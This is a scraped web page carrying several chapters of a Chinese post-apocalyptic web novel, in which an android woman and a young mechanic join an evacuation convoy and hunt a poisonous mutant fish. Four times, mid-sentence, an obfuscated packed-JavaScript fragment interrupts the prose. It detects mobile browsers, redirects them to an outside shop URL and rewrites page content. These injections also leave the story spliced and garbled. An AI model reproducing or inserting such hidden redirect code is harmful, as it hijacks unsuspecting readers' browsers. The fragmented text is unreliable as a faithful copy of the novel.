由于隔了蓝蝎的队伍,粉蝎那边的人时却没法看清楚,盯了半天,也没瞧见流萤和细雨。 又或者,即使瞧见了也认不出来。毕竟,她也没法从蓝蝎队伍的空隙中,看出某片裙角或某个挎包是属于谁的。 有两人路过时却边上,停下。 “啊,是你。”其中一人开口,伸手就要拍她的肩膀。 那人的同伴额角暴起青筋,熟练且迅速地拍落那只自来熟的爪子,无奈制止:“……喂!” 时却收回视线,注意力转向这两人。 这两位也是她的“老熟人”了,是在黑街和她当街打了一场架的两名大汉。她对两人点点头,代替打招呼。 “‘宣传’的事情给你办好了。”矮个大汉说。 时却主动伸出手,矮个大汉也不避讳,大大方方回握,又冲沈司奥点点头:“放心,我们熄了对你的心思。” 沈司奥不置可否地应了一声。 握手流程结束,时却又冲边上的高个大汉伸手。 高个大汉之前想拍她被拦,见时却主动,情绪瞬间高涨,哈哈大笑,一把抓过时却的手,胡乱上下摇晃。 “你们整得老文绉绉了。总之,大妹子,有机会再一对一练练!” 他们离开后,时却算了算,发现自己苏醒不过几天,倒也认识了不少人。 十分钟的排队时间不知不觉到了头,广场上的人泾渭分明地被归在不同颜色的队伍中。 壁虎的声音再次响起:“现在开始查验身份。” 蜥蜴身旁的几人都走动起来,她本人则带着一人朝时却搭话:“卡拿来扫扫,终端调到信息界面,对一下账户号。” 时却在脑内转换了一下她的话,大概就是“身份证拿出来看看”的意思。 沈司奥掏出两人的紫蝎卡,投影出自己的账户号,转了一笔小金额给时却,再帮时却作相同的操作,用她的账号转钱给自己。 蜥蜴向身边的人要了那扫码枪样式的机器,用那机器在二人的紫蝎卡上扫了下。 在沈司奥的操作和二人的投影中看出端倪,她一脸牙酸道:“你是他的亲属关联设备?你摊上什么事儿了,不能用自己的身份?” 时却眨眨眼睛,只笑笑。 说来你可能不信,我不是人,连户口都没有。 蜥蜴见时却不答,也无所谓。 她只亲手查验了时却和沈司奥两人的身份。归还两人的紫蝎卡后,她将机器丢回给身边的人,只看那人查验他人,自己不再动手。 这个区别对待,让时却和沈司奥在小范围内明里暗里地,收获了一波意味不明的关注目光。 时却没事干,干等着这个查验流程结束,无聊得低头玩指甲。没玩一会,听到后头传来嘈杂声,接着便是砰砰两声枪响。 队伍有些躁动。时却身边好几人都在与同伴低声交谈。 “后面发生什么了?” “无非也就是那些事……我问问吧,那个方向我有熟人。” 十几秒后,那段对话也有了下文。 “啊,果然。” “快说,急死人!” “有个傻缺抢了别人的终端混进来了,还提前伪造了转账流程,不过被蜥蜴瞧出不对劲,给了两枪。真是班门弄斧,蜥蜴自己可就是造假的高手。不过,蜥蜴也是随便抽检的,也活该那哥们运气不好。” 嘭嘭嘭!响亮的喷气声从后方传来。 数秒后,蜥蜴驾驶摩托从紫蝎的队伍边上擦过,摩托后座上捆着一个麻袋,麻袋中有人形不断挣扎。 这场景似有魔力,叫还有些喧闹的紫蝎队伍完完全全安静下来。 很快,摩托越过界碑,急转弯停下,带起阵阵尘土。 蜥蜴一脚踩在脚踏上,一脚支在地上,扭身挑断捆着身后麻袋的绳索,拔枪对滚落的麻袋连开数枪,随后利落地返回。 她回到紫蝎的队伍后没几秒钟,远处麻袋的动作力度渐弱,很快便不再动弹。 “这……” 时却的身边有人咋舌。 “你不会和那家伙共情了吧,你猜,被那家伙抢了卡的人还活着吗?”迅速有人叫嚷道,“蝎子要叫他活着,谁敢再拿蝎子的卡?!拿了就等死吧,蚁多还能咬死象呢!” 这人得到了不少应和。咋舌的出头鸟立即偃旗息鼓,再不敢发声。 沈司奥旁观这场闹剧,瞧了一眼身边的时却,正巧看到她的视线在远处的麻袋移开和近处的人群之间来回。 可惜,女仿生人的脸色十分平静,没有显出其他波动,叫他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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除开车头外,这辆半挂车有个大平板似的长长的“尾巴”部分,侧面贴有“解压好去处”几个大字。 这“尾巴”部分上被放满了粉色铁笼,均经粗绳索一个连一个地栓在一块。不少铁笼的门上还绑有蝴蝶结、天使翅膀、黑色丝袜等装饰。 再往里看,笼里满是解压好去处里的性工作者们。他们中的少部分人坐着,大部分站着。 在密密匝匝的栅栏后,时却终于见到此前没看到的流萤和细雨。 他们站在一块显眼的写了价目的牌子边上,稚嫩的脸庞和漠然的神情只短暂地在她眼前闪了一下,就被另一辆插队的越野吞没。 等那越野错开,车流行至界碑附近。光秃秃的大地上,冰冷的钢铁机械争先恐后地,咆哮着奔过界碑。 大部分驾驶者都下意识避开了界碑边上的那个麻袋。有部分家伙,不知是出于找刺激还是懒得改向的心思,视而不见地依次直接碾压上去。 半挂车先一步跨过界碑。 铁笼里,流萤低着头,僵硬地盯着那个渗出块块血色的麻袋。它变得凹凸不平,泥泞且糟糕。 顺着流萤的视线,时却也看它。 恰好此时,又一辆车碾压上去。 时却确信,在这种情况下,即便是她,也不该听见关于那麻袋里的内容物因不堪重负而发出的声响。 因为,那声音绝对非常、非常地微小,不比一粒尘埃重多少。 ……可恍若幻觉般,她还是听到了一阵肉与骨被碾碎的咔咔响动。 真奇怪啊,刚才看着那麻袋,她可还是很平静的。 23. 计划 越过界碑后不久,解压好去处的车再次因其他车辆的插队而失去踪迹,时却也很快平静下来。 她回头看逐渐远离的界碑,清楚今日过后,十三区会被它的绝大部分住民安静地抛在身后。 也许几年,也许十几年,人们才会再回来。 二人即将进入森林时,一架无人机梭巡至他们附近。 这个嗡嗡叫的黑灰色小家伙先重复了一遍壁虎说过的坐标,又报了蝎子大队伍预计吃午饭的时间和坐标,告知随行者如果能在这个限定时间赶到这个限定坐标,就可以蹭到一顿午饭。晚饭同理。 叭叭完这些,它飞得远了些,去附近重复播放这些消息。它没离开得很远,时却始终隐约能听到声音。 摩托驶入森林,映入眼帘的首先是一条足够大卡车行驶的柏油路。这路坑坑洼洼,路面上不时散落有崩解的碎石,显然是多年前铺设而成的,疏于维护。 路况糟糕,时却在摩托上颠来颠去,不过还是凭借自己非人的身体素质,半点不眼花,飞快地确认了地图上显示的道路信息: 除开这条可以称之为主路的宽敞柏油路外,这片森林内还存在着错综复杂的路网。 以主路为中心,多条分岔路如树干上的树枝般呈放射状延伸形成,分岔路自身在延展至一定程度后,又会分出更多的支路。 总的说来,林中道路虽不全是沥青路,也有土路,不少路狭窄得只能供单人或摩托穿行。 在一些土路上和沥青路的边缘,有不少凌乱的车辙痕迹。时却猜测是昨天先出发的蜜桃众人留下的。 沈司奥呼出地图悬停身侧,只看了两眼,手下车头一偏,便将二人带入一条路况稍好些,同时也明显没几辆车的小道。 “蝎子的队伍,以及其他随行的车会沿刚才那条柏油路缓慢前行,”他的声音伴着风声从前侧往后飘,“我们不要离得太远,尽量不闹出大动静地把任务量完成就行。” 摩托速度提升,如此行驶片刻,又转入几个岔路口,直至将大部分响动都甩在二人身后,才放慢速度。 一架新的无人机不知从哪钻出来,巴拉巴拉:“请确保处在能听到无人机声音的区域,避免遭遇不必要的变异生物袭击。重复,请确保……” 它飞进两棵彼此紧挨的大树之间,准确地识别出了树冠与树冠之间的缝隙,擦过一团缠绕在树枝表面的,约有婴儿手臂粗的藤蔓末端。 下一秒,青翠欲滴的藤蔓上裂开缝隙,露出上下两排犬齿。 数根前宽后窄的柔软肉柱从这雪亮尖牙之间弹射而出,动物捕猎般黏附在无人机的各处凸起上,再往回猛地一收—— 并没有对无人机造成什么严重伤害,只是将它拉得偏离了一点儿航线而已。 反倒是无人机反应迅速,表面立时突出数个口子,有透明色的液体从中喷出,瞬间润湿那些舌状物。 那液体应该是某种解除黏附的药剂。因为旋即无人机往边上一挪,就将舌状物们纷纷拉脱了。 舌状物们在地心引力下纷纷垂落,显出几分垂头丧气的意味,慢吞吞地缩回原位。藤蔓上的缝隙心不甘情不愿,再度合拢,消失。 “……蛙藤。”时却喃喃道,认出了这玩意。 在沈司奥驾车的这段时间里,她也没闲着,一目十行将周遭大概率出现的变异生物大体看了个遍。 “这种无人机是区外专用款,被设计为对付蛙藤绰绰有余。”沈司奥道,调低了一点摩托的速度,好让时却能多抬头观察几秒钟。 在地图里,蛙藤被归在变异植物的分类下,其一部分信息和猪笼草差不多,另一部分则显示,在猪笼草的基础上,它即有部分爬山虎的习性,还长有多根类似青蛙的舌头。 堪称红酒、五花肉、柠檬三者一锅炖了的大杂烩。而这样的变异生物,区外还有很多。 摩托喷着气掠过蛙藤下方。 “不少人会选择对变异植物下手,来完成任务量。毕竟它们大多没有很大的活动范围,也更容易被找到。”沈司奥道。 “刚才的蛙藤就不错,只要花时间确认它‘张嘴’能攻击到的范围,小心避开,再把它‘嘴部’所在部分一点点砍断,整根蛙藤就会自行脱落。我记得十斤蛙藤的价钱好像是100~150。” “怎么样,要不要弄点?”他将车速放得更慢,“看你,你才是动手的人。” 听上去是比较轻松,但…… 正思索着,一辆越野车赶到他们后方停下,车上下来一男一女,腰间别着镰刀和一袋吸管,各自选了棵大树,三下五除二往上爬。 时却示意沈司奥挑了个不易引起误会的距离停车,远远地观察那二人的动作。 只见那一男一女爬到近蛙藤末端的地方,将吸管折成L型或M型等具有折角的形态,持吸管的一端,伸长手臂,用吸管的另一端去轻轻摩擦蛙藤的表面,引发蛙藤的攻击,并在蛙藤粘到吸管时立即放手。如此,大致确认了蛙藤‘嘴’的位置。 随后,他们重复用吸管撩拨蛙藤攻击的步骤,待明晰蛙藤的攻击范围后,再蹬脚爬到蛙藤‘嘴’的背面,慢慢割断这部分蛙藤。 ‘嘴’一离体,整根蛙藤便失去所有粘附力,如解开扣结的绳子般掉落。 那两人中,女人看上去更熟练些,整个过程下来共花半小时,男人则是四十分钟。他们下了树,捡起蛙藤摔在肩上,半抗半拖,朝时却和沈司奥所在方向遥遥望了几秒钟,钻回越野车里。 时却兀自计算,那二人这番各自收获的蛙藤大概能有多重,得到的答案是应该在五斤到十斤之间。 正如沈司奥所说,打猎,或者更准确的说是采集蛙藤,并不复杂,只是花时间。 越野车重新发动,朝他们不急不缓驶来。 时却掏出手枪,打开保险,把沈司奥往身后拦,挡在他面前与车中的人对上眼神。车里共有三男一女,全副武装。 越野车并不停歇,径直离开。 “不划算。”时却说。 沈司奥从她身后绕出来,以为她说的是采集蛙藤。“你上手后应该花不了这么长时间,你准头够,可以先在树下扔——” “感谢信任,”时却有些头疼地打断,“所以我在树上这样那样时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那是一只长了四肢鳄鱼脚的大鲶鱼,肥腿长身,光溜溜滑腻腻的外表皮上布满了形似猪喉的中空软管,每根“猪喉管”内隐约可见含有色泽深沉的液体,如滚水般不停翻涌,并向外冒出丝缕黑气。 看起来就像是什么老套页游的小怪特效,很不现实。 “四脚鱼,”沈司奥轻声念出位于图像下方的解释文字,“行动速度慢,外皮坚硬,身上的管状物对刮擦较敏感。其习惯于闲时在河边踩踏出一片平地,再出其不意地袭击来喝水的其他哺乳动物。” “其攻击方式包括:立起身上所有管状物,从中喷吐毒液。该毒液离体后,将汽化为气体,猎物只要皮肤接触或吸入该气体,该气体即刻参与猎物的新陈代谢,在猎物体内生成使之麻痹的物质,令猎物在几秒到十几秒内失去反抗能力。” “针对四脚鱼的狩猎建议包括……热武器碾压式击打,或攻击眼部,或毒杀……全程佩戴防毒面具,并包裹全身皮肤。如不具备佩戴防毒面具的条件,应立刻屏息逃离。” 时却懒洋洋道:“看看后面的解剖图和骨骼图,那才有意思。这玩意就外面糙,里面软和得很。” “战斗的事情你说了算,”机械师道,“决定了,那就走。” 他骑上摩托,扭头。时却跨上后座。 “巧了吗不是,毒谁也不可能毒翻我,”她说,“即使有人看到,只要确保能短时间内把那条鱼宰了,或间歇跑出它的毒气范围,那我就是屏息杀怪,也不会显得太可疑。” 24. 狩猎 计划好了,两人按地图指引先来到距离最近的河旁,只是一无所获。 这块的草长势喜人,高的能到人腰间,低矮的也到膝盖,半点没有四脚鱼出没的痕迹。 顺着河继续往前,情况也差不多。 就在他们准备离开并前往河的下一段区域时,一只猫兔慌不择路送上门。 时却还记得这种于好再来里见过的变异动物,当场给它一枪子。猫兔倒地抽搐,成为两人的首个战利品。 ……不过这并非是一只笨兔子上门送温暖的故事,因为随后跟来的,是个略显气急败坏的两人小队。 显然,是他们追逐着这只猫兔,才叫其无头苍蝇似的逃跑,最后让时却和沈司奥捡了现成的便宜。 四人打上照面,二人小队铁青着脸,刚要发作就认出时却,双双脸色一变,神情一阵变化后,决定忍气吞声地离开。 事情就此了结。 时却看着他们离去的背影摸摸脸,心情颇为复杂地弯下腰,补刀地上的猫兔,彻底弄死后将其袋装好,密封严实,挂在摩托边上,随手扯下几片树叶擦净手。 “这只猫兔来得正好。”她说。 沈司奥突然问:“如果没有这只送上门的猫兔,你打算怎么弄?” 时却耸肩:“那就咱们自己去抓点其他小动物呗。” * 一切弄妥后,他们来到河的第三段区域。这次,幸运女神光顾,他们如愿以偿地找到一片青草伏倒的地方。 时却叫沈司奥在倒伏区域的不起眼边缘停车,并就在车边上等着。 想了想,她又叫沈司奥确保自己一直会拿着方才给他的电击器,确保手指随时放在电击器的开关上。 “距离树丛至少三步远,同时侧对,不要背对,明白吗?猎枪挎着,不拿电击器的另一只手,务必随时摁在猎枪上。还有,示警的哨子,嘴里叼好了。” 如此这般叮嘱一番后,她拎出装有猫兔的袋子,拿了根绳子和袋子的提手绑在一起,远离沈司奥走到河边上,掏出匕首在袋子底部划出口子。 内里充满血腥的袋子被提着,往水里一浸,鲜红漫开。 上提袋子,甩在河边,她手里捏着方才和袋子绑死的绳子头部,后退至一处在下风处且野草势高处,潜伏起来。 竖耳倾听。 不多时,某一近河的草丛后,传来细微的水流被破开的声音。有什么东西自那处下潜,往袋子浸水处悄然逼近。 水声扬起,水花四溅,一只狮头般大的鲶鱼脑袋破开河面伸出,鼓囊的肥大鱼头上是两条鞭状胡须,如蛇般在空气中扭曲游走;鲶鱼脑袋张开血盆大口,咬向处在河与土地交界处的带血腥气猎物! 这正是时却等待已久的四脚鱼。 她手一勾,装有猫兔的袋子蹭着地,窸窣地从四脚鱼嘴下灵巧溜走。 四脚鱼合嘴咬了个寂寞,发出尴尬的利齿碰撞声,喉间挤出声如乌鸦般的嘎嘎怪叫,不甘心地上了岸,两只粗短前肢碾着倒伏的草地,带出近两米长的结实强壮躯干。 其表皮上的“猪喉管”顺势暴露在空气中。 它们占满四脚鱼的外表,密密麻麻且长短不一,均狂魔乱舞,条条如嗑多了兴奋剂的海葵。 时却手快,把猫兔眨眼间拉到眼前,大大方方拍拍腿站起身上前,提溜着还不时往下滴血的袋子晃晃,随即手腕一动,将其抛在身后。 她上前两步,压低重心,左手抽刀,右手麻利卸鞘,不扔,只攥其于掌中。 到嘴的鸭子飞掉,即使是畜生也会勃然大怒。 四脚鱼的叫声愈发尖利可怖。它张嘴怒嚎时,肉粉色的柔软口腔内壁和深色外表形成鲜明对比。 在它的表皮上,猪喉管们开始工作,均将口转向时却,个个绷直了,如化工厂的烟囱般往外狂喷青黑色的液体。 这些液体几乎就在接触空气的下一秒便腾地汽化,变为一看就不详的青黑雾气,顺顺当当地随风飘向时却。 时却毫不避讳地呼吸,只感觉嗅到了类似什么东西腐烂的气味,难闻,但没觉得受到了什么实质性伤害。 另一边,四脚鱼展现出了其腿短却灵活迅猛的一面。它头微偏向时却身侧冲来,有力的长尾强劲一甩,便要打向时却的小腿。 按它的狩猎经验,本次狩猎马上就要进入尾声了。 眼前的有胆挑衅自己的猎物立时会因毒气瘫软,失去反抗能力,无法逃离,再基于被外力击中而奄奄一息。届时,它就能慢悠悠地将其拖回巢穴,大快朵颐。 这战略简单粗暴,时却也能猜出个七七八八。 电光火石间,弥散开来的带毒薄雾中,她丝毫无碍,动作流畅地起跳,躲过那条即将碰到自己的锥状长尾。 于空中扭身翻过,她借下落的势头右手发力,刀鞘顺势狠狠敲在四脚鱼的身上。 刀鞘的击打起不到任何作用,反倒令其自身啪一声断成两截。 意料之中。 时却落下地,顺势滚出毒气范围并卸力。等重新站起,她尤其满意地看到,手中余下的半截刀鞘上形成极不平整的断裂痕迹。 当然了,四脚鱼没给她过多观赏时间。 它嘎嘎怪叫着转身掉头,似乎不敢相信猎物怎么溜溜地滑到了一边去,遂释放出更多的毒气,用一种稍显鬼畜的节奏啪嗒啪嗒再次冲来。 然后再次祭出数秒前刚被躲闪的经典尾巴抽击。 ……看来这玩意不怎么长脑子,时却想。 大概遇到她之前怪生都顺风顺水,从未直面过毒抗性如此高的扎手点子。 她乐得省功夫,也故技重施,起跳躲闪,再次重现方才的场景,翻到四脚鱼的一侧。 不过这次,她人没再滚吧滚吧往边上去,而是瞅准时机,找了个四脚鱼张嘴的间隙,捏着手里的半截刀鞘就往那张血盆大口中塞去! 刀鞘的断口处早被特意调整为向下的姿态,刚一被置进,便刺入四脚鱼柔软的口腔内壁里。少许呈诡异粘稠质地的鲜血立即自刀鞘的插.入口渗出。 下一秒,伴随着微不可查的咔嚓声,刀鞘表面上显出几道裂纹,四脚鱼原地一顿。 时却提刀斜刺入近在咫尺的鲶鱼眼睛! 她力气极大,没觉出太大阻碍感,索性一捅到底,直至刀格与鲶鱼眼睛相抵,再无法深入。 “走!”远处,沈司奥急得一口吐掉嘴里的哨子,扯了嗓子大喊。 时却迅速撒手,沿四脚鱼的身长方向冲破毒雾往外跑,出去几步后边跑边回头看。只见四脚鱼痛得发了狂,在原地疯狂甩尾转圈起来。 它被她捅了个对穿,刀格和闪着寒芒的刀尖分别位于脑袋的上下侧,刀身的部分于它无法闭紧的口中,不时映照出一点反光。 此前,这四脚鱼还没来得及靠上下颌的力量压断口中的刀鞘。 因此这会,它的头部一被串烧,有刀鞘在嘴中作支撑,它想要合嘴,就既要忍受刀锋刮肉的痛,又会使刀鞘断口更深入地扎进口腔,一时两难,痛苦万分,疼得外表皮上所有的猪喉管都往体内缩回了至少三分之一。 见状,时却满意地给自己点了个赞。 干得漂亮。 估摸着距离安全后,她绕着四脚鱼转圈式跑动,趁刀鞘也还没断,举枪尽可能地往四脚鱼的嘴里打,虽然不能说是百发百中,但子弹一通狂泻下来,多少总有几发正中靶心。 突出一个缺德,让四脚鱼的处境雪上加霜。 四脚鱼本就不聪明,还没想清楚为什么今天的狩猎过程如此坎坷,屡试屡灵的毒气攻击完全失效,被人BBQ了,嘴巴里的东西和脑袋上的玩意该怎么处理,注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212150|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意力就又被新一轮子弹攻势夺走。 这些高速破空的小玩意一旦侥幸击入它口中,会立时让它感到阵阵无法形容的酷烈灼烧感和气力流失。 这种痛苦来自它坚硬的表皮之下,在更深更内部的体内,比嘴巴里和脑袋上的东西带给它更加凶猛的不详预感,是它必须首选处理的攻击。 而发出这种攻击的人,就在不远处。 以上直截了当的生物本能,让四脚鱼做出的选择是:忽略嘴巴里和脑袋上的两个东西,先追击时却。 而时却,在意识到四脚鱼的这个倾向之后,就知道这畜生已经是条死鱼了。 “猎枪留下,跑!”她朝沈司奥大叫,算计着手中枪里的剩余子弹,不时回头给四脚鱼一梭,放它风筝。 沈司奥卸下猎枪往地上一扔,跨上摩托蹿出,压着时却的短时间能赶到的范围边缘,换了个位置继续苟。 那边,四脚鱼在生命威胁之下移速极快,也不管草地是否属于此前压实的区域了,总之是死盯着时却追,一边追一边甩一路黏糊糊的血,还噗噗往外喷毒气,喷得一人一兽几乎完全隐没在浓重的青黑雾气中。 不多时,时却卯足了劲第三次冲出毒雾,奔到沈司奥之前所在的位置。身后的四脚鱼距离她仅有三步距离。 她斜身捞起草丛中的猎枪,这三步的距离缩短为两步之遥。 在跑动中,她将枪架在肩上,上了膛,深吸一口气,突然脚下急转角度,一个拐弯,趁四脚鱼跟着扭转的时刻旋身,对着这近在咫尺的畜生扣下扳机。 哒哒哒! 也不知道蝎子准备的是什么老古董型号的猎枪,瞬间浓郁的火药味炸满鼻腔,呛得时却只想打喷嚏。 哒哒哒哒哒哒! 她丢枪往边上一扑,抱头滚开。 砰!身后传来重物摔落夹杂什么东西断裂的声响。 时却一个轱辘站起身,顺势抽出腰间匕首攥紧了,这才有闲心思定睛往声响传来处看。 那四脚鱼合嘴趴下了,边上散落几块崩裂的刀鞘碎块。它的表皮上有数处暗灰色的子弹划痕,密密麻麻的猪喉管纷纷瘫软成垂挂状。 它不时抽搐,但再也没能站起来,完好的一只眼睁得巨大,眼白位置胀满血丝。 它的腹部不规则收缩着,每次收缩,嘴里都会呕出稠近糊状的血和一些碎肉似的黏黏糊糊的东西。 估摸着自己打中的概率,时却觉得那可能是它的内脏碎片。 她喘气站定,灰头土脸地从嘴里呸出两截野草——都是翻滚过程中不知怎地跑进嘴里的。后退几步,在一个十分安全的距离打量了四脚鱼一会后,她招手示意沈司奥靠近。 年轻的机械师小跑过来,眼神闪烁,视线飞快在四脚鱼身上掠过,堪比蜻蜓点水。 “好像挂七八成了,咱在这看着它死透怎么样?稳妥又安全,”时却摸摸下巴,“这草地离河近,我也不太放心用电击器,不然高低享受一把陆上电鱼。” 沈司奥没正面回答,只有点气虚地说:“先把枪和刀什么的都捡捡?” 时却想他是不是刚才扯着嗓子喊过头了,没太在意。“刀的话,一会吧。” 她看看四周,几步捡起草地上的猎枪,架到肩处,眯起眼睛,往较远处的几棵树干上依次开枪。 砰,砰,砰! “靠。” “我x!” “@#¥%&……” 沈司奥被她突如其来的动作先是吓一跳,随后又被这些此起彼伏从树干后传来的惊叫声吓了第二跳。 “早来的晚来的,戏瞧完了就都麻利地滚!”时却提高声音道,“要不再凑近点,看我这开不开‘鬣狗食堂’?!” 她话末的四个字砸落在地上,大概三四伙人的身影在树丛中显露出来,飞也似的跑走。 25. 毛病 “好了,起床,”时却在目瞪口呆的机械师眼前拍巴掌,“还没到睡觉的点。” 沈司奥的眼睛黏在那几棵树处撤不回来。那个位置无论是距离方才他更换位置前还是更换位置后,都不远不近。 “什么时候……” “陆陆续续来的,”时却耸肩,“唉,你脸色怎么有点差?” 沈司奥摇摇头,说了句没事,走到一边去,调出终端投影。 时却看了会他的背影,见他站得笔直,似乎真没什么事,就随手折了根细长的树枝,隔着段距离去戳奄奄一息的四脚鱼,还十分手欠地专挑它皮上的猪喉管往里伸。 捅咕了会,在几个瞬间,她疑心自己好像看到,四脚鱼这畜生似乎被气得有点回光返照了,抽搐力道都显得“活泼”了几分。 沈司奥那边传来电话拨出的声音。时却问:“找人来处理这玩意?” “找老金来拖走。他没空的话,再找蝎子。” “蝎子还有这服……也对,他们收猎物。” 而出发人群里骑摩托的不在少数。就算开车,也总会有人不想往车上放野兽尸体。 说话间,四脚鱼又几下腹部起伏,接连呕出三四滩夹杂内脏碎片的血,往前垂死挣扎般挪动几下,将自己浸在一片血糊糊里后,彻底不动弹了。 眼见四脚鱼大概终于被自己气死,闲着也是闲着,时却投影出地图,打开有关其解剖图的页面。 一脚踩在四脚鱼脑袋上,一手抽出四脚鱼脑袋上的刀后,她以刀作棍,翻找起那几滩东西里的内容物,试图将这些碎片玩意和地图里四脚鱼的解剖图对上。 怼了一会,身后传来些声响。不远处,沈司奥扶着棵树,半弯腰干呕。 时却抓抓头,扔掉树枝,快步去摩托上拿了瓶装水和纸巾给他。 这个时间差里,沈司奥吐出了些没来得及消化完全的吃食。他神情萎靡地接过东西,漱了口,看上去要不是手上没有空闲,就又要背手掐自己。 时却以为他晕血,完全没想过他还会有这种障碍,回顾一遍这几天的相处,有点尴尬地清清嗓子。 “李哥和蝎子的四人那会……你好像都没什么反应?” “人的话没事,动物的话不行,”沈司奥惨白着脸怏怏地说,“很久没犯,我以为好了。” 这是什么毛病? 看他脸色极差,时却也不好深究。 不过,他这副虚弱模样,倒叫“临时同伴还是个未成年”的念头,冷不丁又在时却脑子里冒出来。 ……以后还是别手贱了。 暗自决定多克制后,时却赶沈司奥以一种看不到四脚鱼的姿势靠在摩托上休息。 沈司奥去翻背包,掏出之前拒绝戴上的墨镜,替换掉鼻梁上的眼镜。 “你这个眼镜,不会是……” 沈司奥叹口气:“特制的,能滤掉血色。” 因距离老金过来还有些时间,待他脸色好些后,二人开始有一搭没一搭地闲聊。 时却得知,正常时期,这座森林里的路均属十三区往其他区的主干道,会有防护罩扣于其上,受辐射的动植物均无法侵入。 官方还会固定在十三区与各区之间营运短途或长途客车,供有需求的人在区与区之间往来。 “为什么道路上的防护罩会先于十三区的防护罩失效?”她疑惑不解,“这样,管理局组织平民撤离时也很麻烦吧?” 沈司奥道:“还记得吧,我和你说过,防护罩的寿命是不等的。” 时却点点头。这她没忘。 “更准确些说,”沈司奥推推眼镜,“区外的防护罩相比于区内的防护罩体积更小,却有着更多的驱散受辐射动植物的负荷,寿命无疑会短一些。” “在这个基础上,同样寿命都是15-20年,目前的科技水平能做到的程度只有,通过分析防护罩内能量场的情况,来预估防护罩在一个月内失效的概率。一旦失效概率大于某个阈值,管理局就会发布通知,提前组织区内人员搬迁,并关闭对应的防护罩。” “这次,是十三区的防护罩和十三区往其他区道路的防护罩均被分析出,一个月内失效概率超过了那个阈值。” “你的意思是,”时却眨眨眼睛,“首先,管理局会出于保险起见提前关闭防护罩。” “对。” “其次,基于道路上的防护罩理论上比区内的防护罩消耗更甚,所以这次一分析出来十三区的防护罩,以及十三区往其他区道路的防护罩都触及了安全阈值,管理局索性先关了路上的防护罩,再关区内的?” “没错。” “不对,”时却指出其中的逻辑矛盾处,“防护罩为了驱散变异动植物和抵消辐射而设置,可有概率失效和没有防护罩完全是两回事,走在路上的人相比没有防护罩而言,肯定更希望处在一个可能失效的防护罩里边吧?” 沈司奥无奈地笑笑。 “这个逻辑没有问题,不过防护罩被关闭后,还涉及到一系列较为复杂的后处理流程,比如需要运输特定设备到防护罩附近操作之类的。后处理流程的意义在于,能妥善回收和再利用即将失效防护罩的剩余能量,缩短未来重建防护罩的所需时间和能源。” “管理局主动关闭防护罩,还能提前对此做准备和布局,如果被动地等待防护罩失效,就无法掌握时机。” “人人都知道,关于防护罩的建立、回收等,永远排在最高优先级序列上,是最重要的事情。” 时却听懂了。潜台词是在这种天平衡量上,走在路上的三两只行人自然不值一提。 又过了几分钟,老金终于骑着他的摩托带着他的I代仿生人赶到,他的一个侄子随行,开着辆三轮载货车。 “好家伙,”老金啧啧称奇地凑到四脚鱼边上,“这玩意大概五百斤到七百斤吧,大妹子,你忒厉害了,能轻装搞死这玩意。嚯,看这伤口……你专门练过憋气?” 这效果正是时却想要的。她顺势承认。 老金的侄子,眼神则亮晶晶的:“那肯定,不然早给毒趴下了。乖乖,我听说成功狩猎四脚鱼的猎人,可都是上大家伙,从没见过像蝴蝶姐这样能单枪匹马拿下的!蝴蝶姐,你的事迹我都听说了,牛逼!哎蝴蝶姐,能拍张照不,我留做个纪念。” 时却有点羞耻地听他叭叭叭的,左一句蝴蝶又一句蝴蝶,俨然一点小迷弟的做派,没有半分之前在黑街偷车的模样,哭笑不得地同意了这个拍照请求。 蝴蝶。蜥蜴给她乱起的外号。看来它渐渐传开了。 老金做这种事很熟练,从车上掏出大卷保鲜膜,招呼侄子和I代仿生人一块帮忙,要把四脚鱼周身先裹好,尽量避免搬运时血污到处沾染。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13255118|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 时却在旁边干看着没劲,也上去搭把手。 不过她转眼见沈司奥倚着摩托,斜眼要看不看的样子,似乎也想参与,立即和他说人手够了,也不缺他一个,边上呆着就行。 沈司奥:“……行。” 老金见二人之间如此互动,又看沈司奥换了墨镜,一手水瓶一手抽纸,压低声音:“这小子,刚刚吐了?” 时却眨眨眼,默认。 老金嘿嘿笑道:“老沈还在的时候,他爸妈来信和老沈说过这事。这小子真奇葩,冰鲜的剁成块的没事,杀鸡杀鸭杀鱼也看得,就是不能见活的大的动物血呼啦差。” 老金的侄子拿过来几捆绳子,几人间隔着将四脚鱼五花大绑。 I代仿生人和时却在下面抬,老金和侄子跳上车够着绳结当施力点往上拉,几人费了一番功夫,才合力搬四脚鱼上三轮载货车。 载货车上有几张灰色防水布,时却看到后,征得老金侄子同意,跳上车扯出来,胡乱给横尸的四脚鱼盖上。 老金看了一眼她,又看一眼沈司奥,拍拍身上因搬运而沾上的灰,不知从哪摸出根烟点了,深吸一口。 